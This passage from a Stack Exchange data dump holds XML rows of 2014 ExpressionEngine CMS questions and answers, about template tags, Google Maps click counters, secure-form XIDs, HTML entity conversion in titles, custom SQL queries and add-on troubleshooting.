this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;#map&amp;quot; onclick=&amp;quot;myClick({absolute_count});&amp;quot;&amp;gt;{entry}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What I want to do is have that {absoulte_count} start with the very first entry which will bring up the first map marker, BUT when I click on it, it takes you to the second marker on the map.&lt;/p&gt;&#xA;&lt;p&gt;I tried being as clear as I could so comment if you have questions about my question. Ques-ception.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2865" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-04-22T06:39:26.827" Title="{absolute_count} not working with Google Maps onclick" Tags="|google-maps|count|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20499" PostTypeId="2" ParentId="20079" CreationDate="2014-03-20T13:23:59.817" Score="1" Body="&lt;p&gt;Okay, it turns out &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20252&quot; rel=&quot;nofollow&quot;&gt;it’s a bug&lt;/a&gt; that manifests when using the RTE in Safari. Switching to Chrome gets rid of the problem (though I'm not 100% sanguine about telling clients that they need to avoid a specific browser if they want to be able to use soft returns).&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-03-20T13:23:59.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20500" PostTypeId="2" ParentId="20466" CreationDate="2014-03-20T14:23:25.793" Score="1" Body="&lt;p&gt;In case anyone else runs into this issue, the problem was resolved by removing the protocol from the site URL in the general settings menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://mysite.com&lt;/code&gt; became &lt;code&gt;//mysite.com&lt;/code&gt; and now all of the assets are being delivered through the correct protocol depending on what section of the site you are on.&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2014-03-20T14:23:25.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20501" PostTypeId="2" ParentId="20497" CreationDate="2014-03-20T14:33:03.130" Score="0" Body="&lt;p&gt;Have you tried &lt;code&gt;myClick({absolute_count}-1);&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is needed because {absolute_count} isnt zero-based and starts at 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can subtract the id by 1 in your myClick function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myClick(id) {&#xA;    id = id-1;&#xA;    google.maps.event.trigger(markers[id], 'click');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is also an addon &lt;a href=&quot;http://devot-ee.com/add-ons/mh-index&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mh-index&lt;/a&gt; for this.&lt;/p&gt;&#xA;" OwnerUserId="1980" LastEditorUserId="1980" LastEditDate="2014-04-22T06:39:26.827" LastActivityDate="2014-04-22T06:39:26.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20502" PostTypeId="2" ParentId="20497" CreationDate="2014-03-20T14:36:45.313" Score="0" Body="&lt;p&gt;I'm not entirely certain if the variable will be available in this context but try using {count} instead of {absolute_count}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{count} starts from 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{absolute_count} is zero indexed so will always start from 0.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-20T14:36:45.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20503" PostTypeId="2" ParentId="20494" CreationDate="2014-03-20T14:40:55.377" Score="-1" Body="&lt;p&gt;Are you running the latest version of Structure? It should output the list fine in your first example. Start a support thread with us if not.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-03-20T14:40:55.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20504" PostTypeId="1" CreationDate="2014-03-20T14:44:43.110" Score="0" ViewCount="103" Body="&lt;p&gt;Trying to run a channel entries loop where I filter on both status value and the fact that the category is NOT a specific category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; status=&quot;open|Unavailable Online|Sold Out&quot; category=&quot;not 8&quot; sort=&quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I want to get products in three different statuses and then ensure that I'm not showing products that are also in category 8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query works if I want to do category=&quot;8&quot; but the &lt;strong&gt;not&lt;/strong&gt; flag doesn't seem to do anything and it just ends up showing all products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does ExpressionEngine not allow this?&lt;/p&gt;&#xA;" OwnerUserId="24" LastActivityDate="2014-03-20T14:44:43.110" Title="Filter Channel Entries by status and &quot;NOT&quot; category" Tags="|categories|status|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20505" PostTypeId="2" ParentId="20493" CreationDate="2014-03-20T14:46:17.883" Score="0" Body="&lt;p&gt;I don't know if it will work within that embed because of EE's parsing order. You may need to put it directly in the template.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-03-20T14:46:17.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20506" PostTypeId="1" CreationDate="2014-03-20T14:49:30.027" Score="1" ViewCount="182" Body="&lt;p&gt;Running 2.7.3 with secure forms, everything works fine passing the xid_hash etc... until somebody clicks the back button or tries to reload after submitting a form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the usual issue of it trying to reuse the same xid, but I can't refresh the xid as they're just clicking back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice in the 2.8 changelog developers section it's deprecated a load of xid functions, do we know if this somehow fixes this?&lt;/p&gt;&#xA;" OwnerUserId="2843" LastActivityDate="2014-04-25T17:34:15.613" Title="XID issues with back button and reload" Tags="|xid|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20507" PostTypeId="2" ParentId="20496" CreationDate="2014-03-20T14:56:46.957" Score="0" Body="&lt;p&gt;Have you checked out Max Lazars' &lt;a href=&quot;http://devot-ee.com/add-ons/mx-cloner&quot; rel=&quot;nofollow&quot;&gt;MX Cloner&lt;/a&gt;? The only thing I noticed when I used it is that it didn't work for me when testing locally as it (for whatever reason) didn't show up in the Extensions area. But worked fine when deployed. So you might or might not run into that.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-03-20T14:56:46.957" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20508" PostTypeId="2" ParentId="20470" CreationDate="2014-03-20T15:02:20.320" Score="1" Body="&lt;p&gt;Are you looking for something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav override_hidden_state=&quot;no&quot; current_class=&quot;active&quot; show_depth='1' max_depth='1' has_children_class='yes' show_overview=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key is in the &quot;show_depth&quot; and &quot;max_depth&quot; parameters along with some others on the Structure &lt;a href=&quot;http://buildwithstructure.com/tags#tag_navigation&quot; rel=&quot;nofollow&quot;&gt;navigational tags section&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-03-20T15:02:20.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20509" PostTypeId="2" ParentId="20473" CreationDate="2014-03-20T15:10:35.500" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Delete all of the files inside &lt;code&gt;system/expressionengine/cache/assets/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Clear your browser cache.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Voilà.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-03-20T15:10:35.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20510" PostTypeId="1" AcceptedAnswerId="20515" CreationDate="2014-03-20T15:40:16.270" Score="1" ViewCount="325" Body="&lt;p&gt;I can't figure out where expression engine is changing my title to html entities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is specifically for the required title field &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Text like: &quot;Test á Character&quot; is being stored as &quot;Test &lt;code&gt;&amp;amp;#225;&lt;/code&gt; Character&quot; in the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The collation on the column is utf8_general_ci&#xA;The collation on the table is utf8_general_ci&#xA;The default_character_set_name for the db is latin1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom extension that's hooked into &quot;entry_submission_end&quot; and it stores all the request vars in a temporary table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I submit an entry with text &quot;Test á Character&quot;, in my extension, the text is being inserted correctly into my temporary table as &quot;Test á Character&quot; but incorrectly by expressionengine into the main channel table as &quot;Test &lt;code&gt;&amp;amp;#225;&lt;/code&gt; Character&quot; in the title field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly experienced with diving into the EE code to modify things but I've been unable to locate the source of this issue. I can directly update the db via SQL myself and the characters are inserted properly as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens both with custom forms and the default expression engine entry editing form. &lt;/p&gt;&#xA;" OwnerUserId="579" LastEditorUserId="579" LastEditDate="2014-03-20T16:07:19.283" LastActivityDate="2014-03-20T17:22:14.890" Title="HTML entities in Title field" Tags="|database|entry|html-entities|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20511" PostTypeId="1" CreationDate="2014-03-20T15:45:39.607" Score="1" ViewCount="158" Body="&lt;p&gt;Good Morning,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set up the export calendar function to allow a user to type in a URL into their Google Calendar, then automatically stay up-to-date as new users add to my non-profit's events calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reviewing &lt;a href=&quot;http://www.solspace.com/docs/calendar/icalendar/&quot; rel=&quot;nofollow noreferrer&quot;&gt;document&lt;/a&gt; I have altered the example text (see below), but found that whether I download the .ics file directly, or whether I ask Google Calendar to add by URL where the revised text is located (&lt;a href=&quot;http://mygatewayarts.org/calendar/export&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mygatewayarts.org/calendar/export&lt;/a&gt;), that &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) the link is not active: the calendar does not include the latest information days later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Despite setting the calendar to start today, I see some past recurring events, but certain one-time events do not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Some event times are incorrectly listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you propose any tips or alternatives to the example text? Is this the best way to go about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Lastly, it'd be helpful as well if the descriptor text could link to the event detail page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:icalendar&#xA;    orderby=&quot;title&quot;&#xA;    sort=&quot;asc&quot;&#xA;    date_range_start=&quot;today&quot;&#xA;    show_years=&quot;5&quot;&#xA;    dynamic=&quot;off&quot;&#xA;}&#xA;{/exp:calendar:icalendar} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2874" LastEditorUserId="7185" LastEditDate="2017-03-06T15:11:52.100" LastActivityDate="2017-03-06T15:11:52.100" Title="Export Calendar .ics not auto-refreshing, event times off" Tags="|calendar|export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20512" PostTypeId="2" ParentId="20490" CreationDate="2014-03-20T15:55:40.417" Score="0" Body="&lt;p&gt;Inside the tag you can place a conditional.&#xA;{if count == &quot;1&quot;}{friends_total_results}{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the total only displays once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could use the query module and run a query against the exp_friends table and display a single number.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-20T15:55:40.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20513" PostTypeId="1" AcceptedAnswerId="20536" CreationDate="2014-03-20T16:28:42.873" Score="1" ViewCount="83" Body="&lt;p&gt;If we have someone using promotional codes in the checkout tag, is there any way to pull out and display what promo code has been used, once applied? I am thinking in the notes section of the promo code area, I could put something informative in there, and once a promo code is used, push this out to the checkout code &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-03-21T10:12:29.137" Title="Expresso Store Promotional Codes" Tags="|expresso-store|coupon-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20514" PostTypeId="2" ParentId="20511" CreationDate="2014-03-20T16:46:18.823" Score="0" Body="&lt;p&gt;While I didn't use this in conjunction with Solspace's Calendar, I've found &lt;a href=&quot;http://devot-ee.com/add-ons/easy-icalendar&quot; rel=&quot;nofollow&quot;&gt;Easy iCalendar&lt;/a&gt; to be a reliable method for generating content in that format; perhaps you can roll your own template using other Calendar tags?&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-20T16:46:18.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20515" PostTypeId="2" ParentId="20510" CreationDate="2014-03-20T17:22:14.890" Score="3" Body="&lt;p&gt;I figured it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in API_channel_entries.php, the title was being brought in before insertion like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'title' =&amp;gt; ($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('auto_convert_high_ascii') == 'y') ? ascii_to_entities($data['title']) : $data['title'],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't update regularly (we've made a lot of hacks to make EE work for us) so it's likely just my issue but that setting, auto_convert_high_ascii was apparently removed from the config file in some version but at least for the version I have, is still defined as a default in the EE_Config core file. This means it was being defaulted to true. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve the issue I added &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$config['auto_convert_high_ascii'] = &quot;n&quot;;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To config.php &lt;/p&gt;&#xA;" OwnerUserId="579" LastActivityDate="2014-03-20T17:22:14.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20516" PostTypeId="1" CreationDate="2014-03-20T17:58:38.083" Score="0" ViewCount="48" Body="&lt;p&gt;Using the following Query in my template will not output the title of entries that do not have the ci.filename. BUT when running the SQL in MySQL directly, it does produce the results, including the title field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely if we output custom fields, e.g. field_id_198 that is also returned, this DOES output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems Expression Engine is not outputting the title (and some other data like urt_title) when ci.filename is NULL, even though its in the MySQL results, but it is outputting other data. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;&#xA;    SELECT *, ci.filename AS business_logo&#xA;    FROM exp_channel_titles ct&#xA;    LEFT JOIN exp_channel_data cd ON ct.entry_id = cd.entry_id&#xA;    LEFT JOIN exp_channel_images ci ON ci.entry_id = ct.entry_id&#xA;    LEFT JOIN exp_members m ON ct.author_id = m.member_id&#xA;    WHERE (&#xA;        cd.field_id_202 = '{segment_4}'&#xA;        OR cd.field_id_202 LIKE '%|{segment_4}%'&#xA;        OR cd.field_id_202 LIKE '%{segment_4}|%'&#xA;    )&#xA;    AND cd.channel_id = '36'&#xA;    AND (m.group_id = 1 OR m.group_id = 5 OR m.group_id = 6)&#xA;;&quot;}&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    {title}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Removing the exp_channel_images JOIN and field WILL output the title in the results, BUT running direct in MySQL produces the exact same results as the first statement. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;&#xA;    SELECT *&#xA;    FROM exp_channel_titles ct&#xA;    LEFT JOIN exp_channel_data cd ON ct.entry_id = cd.entry_id&#xA;    LEFT JOIN exp_members m ON ct.author_id = m.member_id&#xA;    WHERE (&#xA;        cd.field_id_202 = '{segment_4}'&#xA;        OR cd.field_id_202 LIKE '%|{segment_4}%'&#xA;        OR cd.field_id_202 LIKE '%{segment_4}|%'&#xA;    )&#xA;    AND cd.channel_id = '36'&#xA;    AND (m.group_id = 1 OR m.group_id = 5 OR m.group_id = 6)&#xA;;&quot;}&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    {title}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2014-03-20T18:04:56.693" LastActivityDate="2014-03-21T09:26:31.090" Title="EE Not Outputting All Data Using Query, for Data that Has NULL values in a Field" Tags="|query|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20517" PostTypeId="2" ParentId="20516" CreationDate="2014-03-20T18:08:24.800" Score="1" Body="&lt;p&gt;Adding the specific table to the SELECT ensures it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ct.*&#xA;FROM exp_channel_titles ct&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no other title being output from the other tables, but I can see exp_channel_images does have a title field. I guess EE has issues with the ambiguity even though MySQL outputted them OK. &lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2014-03-21T09:26:31.090" LastActivityDate="2014-03-21T09:26:31.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20520" PostTypeId="2" ParentId="20244" CreationDate="2014-03-20T19:17:51.937" Score="1" Body="&lt;p&gt;WYGWAM does not have the ability to add HTML5 elements like &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt; out of the box. It appears you only have access to features that come out of the box with CK Editor, even though you could build a &quot;Widget&quot; that would give you the ability to add HTML5 elements.&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-03-20T19:17:51.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20521" PostTypeId="1" CreationDate="2014-03-20T19:21:31.427" Score="0" ViewCount="395" Body="&lt;p&gt;I have two forms that are almost exact that I’m validating with jquery validate plugin. One form works &lt;a href=&quot;https://www.anticipateinvitations.com/index.php/contact&quot; rel=&quot;nofollow&quot;&gt;https://www.anticipateinvitations.com/index.php/contact&lt;/a&gt; while the other &lt;a href=&quot;https://www.anticipateinvitations.com/index.php/how&quot; rel=&quot;nofollow&quot;&gt;https://www.anticipateinvitations.com/index.php/how&lt;/a&gt; doesn’t work. Both forms are using the same validate method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.contact-form').each(function() {  // attach to all form elements on page&#xA;        $(this).validate({       // initialize plugin on each form&#xA;            // global options for plugin&#xA;&#xA;        rules: {&#xA;            fname: &quot;required&quot;,&#xA;            ptime: &quot;required&quot;,&#xA;            email: {&#xA;                required: true,&#xA;                email: true&#xA;            },&#xA;            captcha: {&#xA;                        required: true,&#xA;                        captcha: true&#xA;                    }&#xA;        },&#xA;        messages: {&#xA;            fname: &quot;Please enter your name&quot;,&#xA;            ptime: &quot;Select a preferred time&quot;, &#xA;            email: {&#xA;                required: &quot;Please provide an email address&quot;,&#xA;                email: &quot;Please enter a valid email address&quot;&#xA;            },&#xA;            captcha: {&#xA;                required: &quot;Give an answer to the sum&quot;&#xA;            }           &#xA;        }&#xA;&#xA;        });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Initially I was getting invalid input error on the form that doesn’t work until I added &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;&lt;/code&gt; after searching around for a solution. Now the form just reloads the page after submission and the validation plugin does not fire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The forms have different IDs so that I can handle submission differently. All custom JS is in one file. I had tried separating the validate using the IDs which didn't work. Jquery is present on page since on firebug I can play around with the DOM elements but it feels like there is no javascript on the second form since even the calendar on that page does not working which works on the form that is ok, Im running EE 2.7.2 secure forms submission is on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help please?&lt;/p&gt;&#xA;" OwnerUserId="2178" LastEditorUserId="2178" LastEditDate="2014-03-22T08:19:03.403" LastActivityDate="2014-05-24T13:31:51.760" Title="Expressionengine Custom forms fails with Jquery Validate plugin" Tags="|jquery|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20522" PostTypeId="1" CreationDate="2014-03-20T19:41:54.410" Score="0" ViewCount="30" Body="&lt;p&gt;I'm working on a site on EE 1, and need to update an old (2.0.4) version to a newer version, b/c theres some problem in IE. Is there anyway I can access EE 1 versions of Wygwam?&lt;/p&gt;&#xA;" OwnerUserId="137" LastActivityDate="2014-04-23T23:12:54.593" Title="Updated Version Wygwam for EE 1" Tags="|pixelandtonic|wygwam|ee1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20523" PostTypeId="1" AcceptedAnswerId="20524" CreationDate="2014-03-20T20:11:48.480" Score="0" ViewCount="38" Body="&lt;p&gt;Well, I have suspected that code below will list all entries from channel &lt;code&gt;creators&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;creators&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}{segment_1}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when I'm in any entry from that channel it displays only that particular entry not all from that channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is my problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-20T20:18:45.563" Title="List all entries from particular channel when being already in that channel entry" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20524" PostTypeId="2" ParentId="20523" CreationDate="2014-03-20T20:18:45.563" Score="1" Body="&lt;p&gt;You should add the dynamic=&quot;no&quot; parameter. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-03-20T20:18:45.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20525" PostTypeId="2" ParentId="20439" CreationDate="2014-03-20T20:19:07.240" Score="1" Body="&lt;p&gt;The solution, as posted by Ben in the devot-ee support forums, is to try making each tag unique as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:snaptcha:field id=&quot;1&quot;}&#xA;&#xA;{exp:snaptcha:field id=&quot;2&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That fixed it  for me. I now have two user registration forms on the same page and both submit as they should.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-03-20T20:19:07.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20526" PostTypeId="1" CreationDate="2014-03-20T20:58:33.097" Score="1" ViewCount="103" Body="&lt;p&gt;I have a channel field that has a relationship to another channel. In cPanel, in the dropdown of the relationship field, I want it to only display the items in the other channel that was authored by the current member. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-03-21T03:37:39.600" LastActivityDate="2014-03-21T03:37:39.600" Title="Limit relationship field options to those authored by current member group" Tags="|channel-entries|channel|member-management|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20528" PostTypeId="1" CreationDate="2014-03-20T21:29:03.883" Score="1" ViewCount="486" Body="&lt;p&gt;Since updating to WYGWAM 3.3 the ability to increase indent on text stopped functioning on standard paragraphs (ol and ul does work). Worse anything I had indented using this way has lost the styling for indents. I've looked at the configuration area but can't find anything that would cause this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2015-08-05T18:30:17.093" Title="WYGWAM Increase Indent Not Working on Paragraphs" Tags="|wygwam|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20529" PostTypeId="1" CreationDate="2014-03-20T21:38:20.983" Score="0" ViewCount="120" Body="&lt;p&gt;A client has just recently seen this happening on Freeform (Free) notifications. We've set the notification settings to HTML and Word Wrap, and added just basic HTML (ie. we've not included html, head, body tags etc.) but just started with &amp;lt; p &gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Thank you for choosing our company.&#xA;&#xA;---------= ------------------------------------&#xA;&#xA;Your 60-day application evalu= ation and agreement was successfully sent and a member of our team will be = in contact with you shortly.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone else seen this, or know why its happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FreeForm 4.1.3 + EE 2.7.2&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-06-25T20:59:47.647" Title="Random = characters in freeform html notifications" Tags="|solspace-freeform|notification|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20531" PostTypeId="2" ParentId="20476" CreationDate="2014-03-20T21:43:03.787" Score="0" Body="&lt;p&gt;Turns out there was an error with another plugin. Once I resolved that I was able to reinstall Calendar correctly.&lt;/p&gt;&#xA;" OwnerUserId="2867" LastActivityDate="2014-03-20T21:43:03.787" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20532" PostTypeId="1" AcceptedAnswerId="20541" CreationDate="2014-03-20T21:47:30.397" Score="1" ViewCount="58" Body="&lt;p&gt;I'm trying to figure out the best setup for a directory. I'm adding a bunch of stores that have multiple locations so I wanted to set up my entry to have one address field as &quot;headquarters&quot; followed by a matrix of all possible additional addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this format, Would I still be able to have the directory display all addresses in a list equally? As in if someone was to search for nearby locations, they would see 2-3 headquarters of businesses as well as any relevant secondary addresses?&lt;/p&gt;&#xA;" OwnerUserId="2867" LastActivityDate="2014-04-20T11:09:16.543" Title="VZ Address Directory" Tags="|ee2|matrix|fieldtype|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20534" PostTypeId="2" ParentId="1548" CreationDate="2014-03-21T01:02:38.070" Score="1" Body="&lt;p&gt;Though slightly different, I was inspired by this to create Matrix Presets which adds the ability to load and save values to P&amp;amp;T Matrix cells. You would be able to load rather than prefill values into the Matrix Cells.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be cleaned up but it works on EE 2.7.3 with Matrix 2.5.10, and so far works with basic fields and within Zenbu+Henshu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ignetic/ee-matrix-presets&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ignetic/ee-matrix-presets&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps in a future update, I may add an options replace all fields or add to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a try if it suits your needs, but it may prove useful to others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-03-21T01:02:38.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
